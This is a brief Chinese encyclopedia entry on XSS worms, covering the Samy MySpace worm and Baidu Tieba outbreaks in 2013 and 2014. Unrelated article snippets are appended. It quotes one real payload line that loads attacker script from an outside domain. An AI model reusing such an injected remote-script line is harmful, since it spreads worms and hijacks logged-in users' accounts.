XSS蠕虫

✍ dations ◷ 2025-05-17 21:09:24 #注入漏洞,蠕虫病毒

xss蠕虫(cross site scripting worm)是一种跨站病毒,通常由脚本语言Javascript写成,它借由网站访问者传播

历史第一个XSS蠕虫是针对网站Myspace的Samy,它在20小时内感染了100万个账户,作者Samy Kamkar之后被起诉

见对新浪微博的争议#XSS.E6.BC.8F.E6.B4.9E

2013年5月19日, 百度贴吧转帖功能再度出现xss漏洞,大量贴吧内充斥接近满版面, 包含代码getScript('//xss.retaker.me/1.js')为标题的帖子,当已登陆用户打开这样的帖子,用户所持账户便以相同方式在多个贴吧转帖原作者的帖,部分网络安全相关人士认为贴吧爆发了大规模XSS蠕虫感染

2014年3月9日, 百度贴吧转帖功能再度出现xss漏洞

由于XSS蠕虫基于浏览器而不是操作系统,取决于其依赖网站的规模,它可以在短时间内达到对巨大数量的计算机感染

相关

  • 夏威夷独立运动夏威夷独立运动(英语:Hawaiian Independence Movement )是夏威夷部分原住民发起的争取夏威夷从美国分离,重建独立的夏威夷国家的运动。自1898年美国吞并夏威夷王国以来,部分土著
  • 疽是中国医学对皮下疮肿的一个统称,特点是肿胀坚硬,但肤色不变,多发于项后及背。《灵枢·痈疽》指“热气淳盛,下陷肌肤,筋髓枯,内连五脏,血气竭,当其痈下,筋骨良肉皆无余,故命曰疽。疽
  • 组学组学(英语:omics)通常指生物学中对各类研究对象(一般为生物分子)的集合所进行的系统性研究,例如,基因组学、蛋白质组学,和代谢物组学等,而这些研究对象的集合被称为组。在英文中,“组
  • 五蕴蕴(巴利语:khandha;梵语:स्कन्ध,转写:skandha;孟加拉语:স্কন্ধ,转写:skandha),又译为阴或聚,有积增聚合的意思,佛教术语,意指人类存在的基本要素。佛教将蕴分析成五种基本元素,
  • 港澳关系港澳关系或澳港关系可以指:
  • 古典典籍中国古籍或中国古典典籍一般指的是“公元1911年(含)以前出版的书籍,包括抄本及刻本”。具体而言,可以说是以印刷或书写成“具有中国古典装帧形式(如包背装、线装、蝴蝶装等)、以研
  • 避孕套自动贩卖机避孕套自动售货机(英语:condom machine)是指售卖避孕套的自动售货机,其一般放置于公共厕所旁、地铁站、火车站以及机场。在公共卫生政策上其有推广安全性行为之效。许多药店也会
  • 渐逝波渐逝波(evanescent wave),又称为消逝波或,隐失波,是指当光波从光密介质入射到光疏介质时,发生全反射而光疏介质一侧所产生的一种电磁波。由于其振幅随与分界面垂直的深度的增大而
  • 千叶县第1区千叶县第1区是日本众议院的选区,设立于1994年。北海道 13 | 山形县 4 | 静冈县 9 | 岛根县 3 | 大分县 4福井县 3 | 山梨县 3 | 德岛县 3 | 高知县 3 | 佐贺县 3青森县 4 |
  • 热释光热释光(英语:Thermoluminescence, TL)效应,有时也被译作热致光、热发光,是一种冷发光现象:一些晶体(例如矿物质)在被加热时,原来吸收并储存在晶格缺陷中的电磁辐射或其他电离辐射会